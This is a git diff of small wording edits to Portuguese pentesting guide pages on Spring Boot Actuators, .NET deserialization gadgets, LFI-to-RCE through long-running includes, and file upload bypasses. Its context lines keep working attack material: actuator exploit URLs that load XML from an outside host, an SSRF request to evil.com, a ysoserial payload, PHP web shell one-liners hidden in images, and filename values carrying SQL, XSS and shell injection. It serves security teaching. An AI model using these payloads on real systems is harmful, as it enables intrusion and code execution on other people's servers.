 ```
 ### **X-Content-Type-Options**
 
-Este cabeçalho previne a detecção de tipo MIME, uma prática que pode levar a vulnerabilidades XSS. Ele garante que os navegadores respeitem os tipos MIME especificados pelo servidor.
+Este cabeçalho impede a detecção de tipo MIME, uma prática que pode levar a vulnerabilidades XSS. Ele garante que os navegadores respeitem os tipos MIME especificados pelo servidor.
 ```
 X-Content-Type-Options: nosniff
 ```
@@ -175,7 +175,7 @@ Cross-Origin-Opener-Policy: same-origin-allow-popups
 ```
 ### **HTTP Strict Transport Security (HSTS)**
 
-Por fim, o HSTS é um recurso de segurança que força os navegadores a se comunicarem com os servidores apenas por meio de conexões HTTPS seguras, melhorando assim a privacidade e a segurança.
+Por fim, HSTS é um recurso de segurança que força os navegadores a se comunicarem com os servidores apenas por meio de conexões HTTPS seguras, melhorando assim a privacidade e a segurança.
 ```
 Strict-Transport-Security: max-age=3153600
 ```

src/network-services-pentesting/pentesting-web/spring-actuators.md

@@ -6,15 +6,15 @@
 
 <figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
 
-**De** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
+**De** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
 
 ## Explorando Spring Boot Actuators
 
-**Ver a postagem original em** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
+**Ver o post original em** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
 
 ### **Pontos Chave:**
 
-- Spring Boot Actuators registram endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. Nas versões 1 a 1.4, esses endpoints são acessíveis sem autenticação. A partir da versão 1.5, apenas `/health` e `/info` são não sensíveis por padrão, mas os desenvolvedores frequentemente desativam essa segurança.
+- Spring Boot Actuators registram endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. Nas versões de 1 a 1.4, esses endpoints são acessíveis sem autenticação. A partir da versão 1.5, apenas `/health` e `/info` são não sensíveis por padrão, mas os desenvolvedores frequentemente desativam essa segurança.
 - Certos endpoints do Actuator podem expor dados sensíveis ou permitir ações prejudiciais:
 - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, e `/heapdump`.
 - No Spring Boot 1.x, os actuators são registrados sob a URL raiz, enquanto no 2.x, eles estão sob o caminho base `/actuator/`.
@@ -23,12 +23,12 @@
 
 1. **Execução Remota de Código via '/jolokia'**:
 - O endpoint do actuator `/jolokia` expõe a Biblioteca Jolokia, que permite acesso HTTP a MBeans.
-- A ação `reloadByURL` pode ser explorada para recarregar configurações de log a partir de uma URL externa, o que pode levar a XXE cego ou Execução Remota de Código via configurações XML manipuladas.
+- A ação `reloadByURL` pode ser explorada para recarregar configurações de log de uma URL externa, o que pode levar a XXE cego ou Execução Remota de Código via configurações XML manipuladas.
 - URL de exemplo para exploração: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
 2. **Modificação de Configuração via '/env'**:
 
 - Se as Bibliotecas Spring Cloud estiverem presentes, o endpoint `/env` permite a modificação de propriedades ambientais.
-- Propriedades podem ser manipuladas para explorar vulnerabilidades, como a vulnerabilidade de desserialização XStream no Eureka serviceURL.
+- Propriedades podem ser manipuladas para explorar vulnerabilidades, como a vulnerabilidade de desserialização do XStream no Eureka serviceURL.
 - Exemplo de requisição POST para exploração:
 
 ```
@@ -52,15 +52,13 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
 
 1.  **Env + H2 RCE**:
 - Detalhes sobre a exploração da combinação do endpoint `/env` e do banco de dados H2 podem ser encontrados [aqui](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
-2.  **SSRF no Spring Boot Através da Interpretação Incorreta de Nomes de Caminho**:
 
+2.  **SSRF no Spring Boot Através da Interpretação Incorreta de Nomes de Caminho**:
 - O manuseio de parâmetros de matriz (`;`) pelo framework Spring em nomes de caminho HTTP pode ser explorado para Server-Side Request Forgery (SSRF).
 - Exemplo de requisição de exploração:
-
 ```http
 GET ;@evil.com/url HTTP/1.1
 Host: target.com
 Connection: close
 ```
-
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

@@ -22,7 +22,7 @@ Como você pode observar, quando `MethodName` é definido, `base.Refresh()` é c
 
 ![](<../../images/image (319).png>)
 
-Ok, vamos continuar vendo o que `this.BeginQuery()` faz. `BeginQuery` é sobrescrito por `ObjectDataProvider` e isso é o que ele faz:
+Ok, vamos continuar vendo o que `this.BeginQuery()` faz. `BeginQuery` é sobrescrito por `ObjectDataProvider` e é isso que ele faz:
 
 ![](<../../images/image (345).png>)
 
@@ -32,7 +32,7 @@ Note que no final do código está chamando `this.QueryWorke(null)`. Vamos ver o
 
 Note que este não é o código completo da função `QueryWorker`, mas mostra a parte interessante dela: O código **chama `this.InvokeMethodOnInstance(out ex);`** esta é a linha onde o **método definido é invocado**.
 
-Se você quiser verificar que apenas definindo o _**MethodName**_\*\* ele será executado\*\*, você pode executar este código:
+Se você quiser verificar que apenas definindo o _**MethodName**_** ele será executado**, você pode executar este código:
 ```java
 using System.Windows.Data;
 using System.Diagnostics;
@@ -59,7 +59,7 @@ Note que você precisa adicionar como referência _C:\Windows\Microsoft.NET\Fram
 Usando a exploração anterior, haverá casos em que o **objeto** será **desserializado como** uma instância de _**ObjectDataProvider**_ (por exemplo, na vulnerabilidade do DotNetNuke, usando XmlSerializer, o objeto foi desserializado usando `GetType`). Então, não terá **conhecimento do tipo de objeto que está encapsulado** na instância de _ObjectDataProvider_ (`Process`, por exemplo). Você pode encontrar mais [informações sobre a vulnerabilidade do DotNetNuke aqui](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
 
 Esta classe permite **especificar os tipos de objeto dos objetos que estão encapsulados** em uma determinada instância. Assim, esta classe pode ser usada para encapsular um objeto fonte (_ObjectDataProvider_) em um novo tipo de objeto e fornecer as propriedades que precisamos (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
-Isso é muito útil para casos como o apresentado anteriormente, porque seremos capazes de **encapsular \_ObjectDataProvider**_\*\* dentro de uma instância de \*\*_**ExpandedWrapper** \_ e **quando desserializado** esta classe **criará** o objeto _**OjectDataProvider**_ que irá **executar** a **função** indicada em _**MethodName**_.
+Isso é muito útil para casos como o apresentado anteriormente, porque seremos capazes de **encapsular \_ObjectDataProvider**_** dentro de uma instância de **_**ExpandedWrapper** \_ e **quando desserializado** esta classe **criará** o objeto _**OjectDataProvider**_ que irá **executar** a **função** indicada em _**MethodName**_.
 
 Você pode verificar este wrapper com o seguinte código:
 ```java
@@ -89,7 +89,7 @@ Na [página oficial](https://www.newtonsoft.com/json) é indicado que esta bibli
 
 ### Exemplo Json.Net
 
-Primeiro de tudo, vamos ver um exemplo de como **serializar/desserializar** um objeto usando esta biblioteca:
+Primeiro, vamos ver um exemplo de como **serializar/desserializar** um objeto usando esta biblioteca:
 ```java
 using System;
 using Newtonsoft.Json;
@@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
 }
 ```
-Neste código você pode **testar a exploração**, basta executá-lo e você verá que um calc é executado:
+Neste código você pode **testar a exploração**, basta executá-lo e você verá que uma calculadora é executada:
 ```java
 using System;
 using System.Text;

src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md

@@ -8,7 +8,7 @@ Por padrão, quando um arquivo é enviado para o PHP (mesmo que não esteja espe
 
 Em uma inclusão de arquivo local, **se você conseguir incluir esse arquivo enviado, você obterá RCE**.
 
-Observe que, por padrão, **o PHP só permite o upload de 20 arquivos em uma única solicitação** (configurado em `/etc/php/<version>/apache2/php.ini`):
+Note que, por padrão, **o PHP só permite o upload de 20 arquivos em uma única solicitação** (configurado em `/etc/php/<version>/apache2/php.ini`):
 ```
 ; Maximum number of files that can be uploaded via a single request
 max_file_uploads = 20
@@ -17,12 +17,12 @@ Além disso, o **número de nomes de arquivos potenciais é 62\*62\*62\*62\*62\*
 
 ### Outras técnicas
 
-Outras técnicas dependem de atacar protocolos PHP (você não conseguirá se controlar apenas a última parte do caminho), divulgar o caminho do arquivo, abusar de arquivos esperados ou **fazer o PHP sofrer uma falha de segmentação para que arquivos temporários carregados não sejam excluídos**.\
+Outras técnicas dependem de atacar protocolos PHP (você não conseguirá se controlar apenas a última parte do caminho), divulgar o caminho do arquivo, abusar de arquivos esperados ou **fazer o PHP sofrer uma falha de segmentação para que arquivos temporários enviados não sejam excluídos**.\
 Esta técnica é **muito semelhante à última, mas sem precisar encontrar um zero day**.
 
 ### Técnica de espera eterna
 
-Nesta técnica **só precisamos controlar um caminho relativo**. Se conseguirmos carregar arquivos e fazer o **LFI nunca acabar**, teremos "tempo suficiente" para **forçar a força bruta de arquivos carregados** e **encontrar** qualquer um dos arquivos carregados.
+Nesta técnica **nós só precisamos controlar um caminho relativo**. Se conseguirmos enviar arquivos e fazer o **LFI nunca acabar**, teremos "tempo suficiente" para **forçar a força bruta de arquivos enviados** e **encontrar** qualquer um dos arquivos enviados.
 
 **Prós desta técnica**:
 
@@ -36,12 +36,12 @@ Os **principais problemas** desta técnica são:
 - Necessidade de um arquivo(s) específico(s) estar presente (pode haver mais)
 - A **quantidade insana** de nomes de arquivos potenciais: **56800235584**
 - Se o servidor **não estiver usando dígitos**, a quantidade total potencial é: **19770609664**
-- Por padrão, **apenas 20 arquivos** podem ser carregados em uma **única solicitação**.
+- Por padrão, **apenas 20 arquivos** podem ser enviados em uma **única solicitação**.
 - O **número máximo de trabalhadores paralelos** do servidor utilizado.
-- Este limite com os anteriores pode fazer com que este ataque dure demais
-- **Timeout para uma solicitação PHP**. Idealmente, isso deveria ser eterno ou deveria matar o processo PHP sem excluir os arquivos temporários carregados, caso contrário, isso também será um problema
+- Este limite com os anteriores pode fazer com que este ataque dure muito
+- **Timeout para uma solicitação PHP**. Idealmente, isso deveria ser eterno ou deveria matar o processo PHP sem excluir os arquivos temporários enviados, caso contrário, isso também será um problema
 
-Então, como você pode **fazer um include PHP nunca acabar**? Apenas incluindo o arquivo **`/sys/kernel/security/apparmor/revision`** (**não disponível em contêineres Docker** infelizmente...). 
+Então, como você pode **fazer um include PHP nunca acabar**? Basta incluir o arquivo **`/sys/kernel/security/apparmor/revision`** (**não disponível em contêineres Docker** infelizmente...). 
 
 Tente apenas chamando:
 ```bash
@@ -72,13 +72,13 @@ Se o servidor Apache for melhorado e pudéssemos abusar de **4000 conexões** (m
 Se em vez de usar o módulo php regular para apache para executar scripts PHP a **página da web está usando** **PHP-FMP** (isso melhora a eficiência da página da web, então é comum encontrá-lo), há algo mais que pode ser feito para melhorar a técnica.
 
 PHP-FMP permite **configurar** o **parâmetro** **`request_terminate_timeout`** em **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
-Esse parâmetro indica a quantidade máxima de segundos **quando** **a requisição ao PHP deve terminar** (infinito por padrão, mas **30s se o parâmetro estiver descomentado**). Quando uma requisição está sendo processada pelo PHP, o número indicado de segundos é **morto**. Isso significa que, se a requisição estava fazendo upload de arquivos temporários, porque o **processamento php foi interrompido**, esses **arquivos não serão deletados**. Portanto, se você conseguir fazer uma requisição durar esse tempo, pode **gerar milhares de arquivos temporários** que não serão deletados, o que **acelerará o processo de encontrá-los** e reduz a probabilidade de um DoS na plataforma consumindo todas as conexões.
+Esse parâmetro indica a quantidade máxima de segundos **quando** **a requisição ao PHP deve terminar** (infinito por padrão, mas **30s se o parâmetro estiver descomentado**). Quando uma requisição está sendo processada pelo PHP, o número indicado de segundos é **morto**. Isso significa que, se a requisição estava fazendo upload de arquivos temporários, porque o **processamento php foi interrompido**, esses **arquivos não serão deletados**. Portanto, se você conseguir fazer uma requisição durar esse tempo, pode **gerar milhares de arquivos temporários** que não serão deletados, o que **acelera o processo de encontrá-los** e reduz a probabilidade de um DoS na plataforma consumindo todas as conexões.
 
 Então, para **evitar DoS**, vamos supor que um **atacante estará usando apenas 100 conexões** ao mesmo tempo e o tempo máximo de processamento php por **php-fmp** (`request_terminate_timeout`**)** é **30s**. Portanto, o número de **arquivos temporários** que podem ser gerados **por segundo** é `100*20/30 = 66.67`.
 
 Então, para gerar **10000 arquivos**, um atacante precisaria: **`10000/66.67 = 150s`** (para gerar **100000 arquivos** o tempo seria **25min**).
 
-Então, o atacante poderia usar essas **100 conexões** para realizar uma **busca por força bruta**. \*\*\*\* Supondo uma velocidade de 300 req/s, o tempo necessário para explorar isso é o seguinte:
+Então, o atacante poderia usar essas **100 conexões** para realizar uma **busca por força bruta**. Supondo uma velocidade de 300 req/s, o tempo necessário para explorar isso é o seguinte:
 
 - 56800235584 / 10000 / 300 / 3600 \~= **5.25 horas** (50% de chance em 2.63h)
 - (com 100000 arquivos) 56800235584 / 100000 / 300 / 3600 \~= **0.525 horas** (50% de chance em 0.263h)
@@ -88,7 +88,7 @@ Sim, é possível gerar 100000 arquivos temporários em uma instância EC2 de ta
 <figure><img src="../../images/image (240).png" alt=""><figcaption></figcaption></figure>
 
 > [!WARNING]
-> Note que para acionar o timeout seria **suficiente incluir a página LFI vulnerável**, para que entre em um loop de inclusão eterno.
+> Note que para acionar o timeout seria **suficiente incluir a página LFI vulnerável**, para que entre em um loop de inclusão eterna.
 
 ## Nginx
 

src/pentesting-web/file-upload/README.md

@@ -21,7 +21,7 @@ Outras extensões úteis:
 2. _Verifique **adicionando uma extensão válida antes** da extensão de execução (use também as extensões anteriores):_
 - _file.png.php_
 - _file.png.Php5_
-3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforce** todos os **caracteres ascii** e **Unicode**. (_Note que você também pode tentar usar as **extensões** mencionadas **anteriormente**_)
+3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforce** todos os **caracteres ascii** e **Unicode**. (_Note que você também pode tentar usar as **extensões** mencionadas anteriormente_)
 - _file.php%20_
 - _file.php%0a_
 - _file.php%00_
@@ -43,15 +43,15 @@ Outras extensões úteis:
 5. Adicione **outra camada de extensões** à verificação anterior:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
-6. Tente colocar a **extensão exec antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar configurações incorretas do Apache onde qualquer coisa com extensão **_**.php**_**, mas** não necessariamente terminando em .php** executará código):
+6. Tente colocar a **extensão exec antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar configurações incorretas do Apache onde qualquer coisa com a extensão **_**.php**_**, mas **não necessariamente terminando em .php** executará código):
 - _ex: file.php.png_
-7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Neste caso, um caractere de dois pontos “:” será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, “file.asax:.jpg”). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome de arquivo curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após este padrão também pode ser útil para contornar mais restrições (por exemplo, “file.asp::$data.”)
-8. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso fica. AAA<--SNIP-->AAA.php
+7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Nesse caso, um caractere de dois pontos “:” será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, “file.asax:.jpg”). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome de arquivo curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para contornar mais restrições (por exemplo, “file.asp::$data.”)
+8. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso é deixado. AAA<--SNIP-->AAA.php
 
 ```
 # Linux máximo 255 bytes
 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
-Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aqui e adicionando .png
+Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aqui e adicionando .png
 # Faça o upload do arquivo e verifique a resposta quantos caracteres ele permite. Vamos supor 236
 python -c 'print "A" * 232'
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@@ -65,13 +65,13 @@ AAA<--SNIP 232 A-->AAA.php.png
 1. Lista de palavras do Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
 - Contorne a verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confunda o comando _file_). Ou introduza o shell dentro dos **metadados**:\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
-`\` ou você também poderia **introduzir o payload diretamente** em uma imagem:\
+`\` ou você também pode **introduzir o payload diretamente** em uma imagem:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
-- Se **compressões estão sendo adicionadas à sua imagem**, por exemplo, usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você poderia usar a **técnica do chunk PLTE** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
+- Se **compressões estão sendo adicionadas à sua imagem**, por exemplo, usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar a **técnica do chunk PLTE** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
 - [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
-- A página da web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você poderia usar a **técnica do chunk IDAT** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
+- A página da web também pode estar **redimensionando** a **imagem**, usando, por exemplo, as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar a **técnica do chunk IDAT** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
 - [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- Outra técnica para fazer um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você poderia usar a **técnica do chunk tEXt** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
+- Outra técnica para criar um payload que **sobreviva ao redimensionamento de uma imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar a **técnica do chunk tEXt** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
 - [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
 ### Other Tricks to check
@@ -81,24 +81,24 @@ AAA<--SNIP 232 A-->AAA.php.png
 - **Possível divulgação de informações**:
 1. Faça o upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome**
 2. Faça o upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
-3. Enviando um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
-4. Faça o upload de um arquivo que pode não ser facilmente excluído, como **“…:.jpg”** em **NTFS**. (Windows)
+3. Faça o upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
+4. Faça o upload de um arquivo que pode não ser facilmente excluído, como **“…:.jpg”** no **NTFS**. (Windows)
 5. Faça o upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. (Windows)
 6. Faça o upload de um arquivo no **Windows** usando **nomes reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
 - Tente também **fazer o upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.
 
 ### Special extension tricks
 
-Se você está tentando fazer upload de arquivos para um **servidor PHP**, [dê uma olhada na **técnica .htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
-Se você está tentando fazer upload de arquivos para um **servidor ASP**, [dê uma olhada na **técnica .config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
+Se você está tentando fazer upload de arquivos para um **servidor PHP**, [dê uma olhada na técnica **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
+Se você está tentando fazer upload de arquivos para um **servidor ASP**, [dê uma olhada na técnica **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
 
 Os arquivos `.phar` são como os `.jar` para java, mas para php, e podem ser **usados como um arquivo php** (executando-o com php, ou incluindo-o dentro de um script...)
 
-A extensão `.inc` é às vezes usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum momento, alguém poderia ter permitido **que essa extensão fosse executada**.
+A extensão `.inc` é às vezes usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum momento, alguém pode ter permitido **que essa extensão fosse executada**.
 
 ## **Jetty RCE**
 
-Se você puder fazer upload de um arquivo XML em um servidor Jetty, você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem a seguir, faça o upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pelo shell!
+Se você puder fazer upload de um arquivo XML em um servidor Jetty, poderá obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem a seguir, faça o upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pelo shell!
 
 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
 
@@ -106,7 +106,7 @@ Se você puder fazer upload de um arquivo XML em um servidor Jetty, você pode o
 
 Para uma exploração detalhada dessa vulnerabilidade, verifique a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
-Vulnerabilidades de Execução Remota de Comando (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", marcadores de posição e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para fins nefastos, como Execução Remota de Comando ou Escrita/Leitura de Arquivo Arbitrário quando um arquivo de configuração `.ini` é processado.
+Vulnerabilidades de Execução Remota de Comando (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", marcadores de posição e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para fins nefastos, como Execução Remota de Comando ou Escrita/Leitura Arbitrária de Arquivo quando um arquivo de configuração `.ini` é processado.
 
 Considere o seguinte exemplo de um arquivo `uwsgi.ini` prejudicial, mostrando vários esquemas:
 ```ini
@@ -166,18 +166,18 @@ Note que **outra opção** que você pode estar pensando para contornar essa ver
 
 - Defina **filename** como `../../../tmp/lol.png` e tente alcançar uma **traversal de caminho**
 - Defina **filename** como `sleep(10)-- -.jpg` e você pode conseguir uma **injeção SQL**
-- Defina **filename** como `<svg onload=alert(document.domain)>` para conseguir um XSS
+- Defina **filename** como `<svg onload=alert(document.domain)>` para alcançar um XSS
 - Defina **filename** como `; sleep 10;` para testar alguma injeção de comando (mais [truques de injeção de comando aqui](../command-injection.md))
 - [**XSS** em upload de arquivo de imagem (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
 - **JS** arquivo **upload** + **XSS** = [**exploração de Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
 - [**XXE em upload de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
 - [**Redirecionamento Aberto** via upload de arquivo svg](../open-redirect.md#open-redirect-uploading-svg-files)
-- Tente **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
+- Tente **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 - [Famosa vulnerabilidade **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
 - Se você puder **indicar ao servidor web para capturar uma imagem de uma URL**, você pode tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/index.html). Se essa **imagem** for **salva** em algum site **público**, você também pode indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de cada visitante**.
 - [**XXE e CORS** contornados com upload de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
-- PDFs especialmente elaborados para XSS: A [seguinte página apresenta como **injetar dados PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, pode preparar um PDF que executará JS arbitrário seguindo as indicações dadas.
-- Faça upload do \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) conteúdo para verificar se o servidor tem algum **antivírus**
+- PDFs especialmente elaborados para XSS: A [seguinte página apresenta como **injetar dados PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, poderá preparar um PDF que executará JS arbitrário seguindo as indicações dadas.
+- Faça upload do \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) conteúdo para verificar se o servidor possui algum **antivírus**
 - Verifique se há algum **limite de tamanho** ao fazer upload de arquivos
 
 Aqui está uma lista das 10 principais coisas que você pode alcançar fazendo upload (de [aqui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
@@ -206,7 +206,7 @@ https://github.com/portswigger/upload-scanner
 
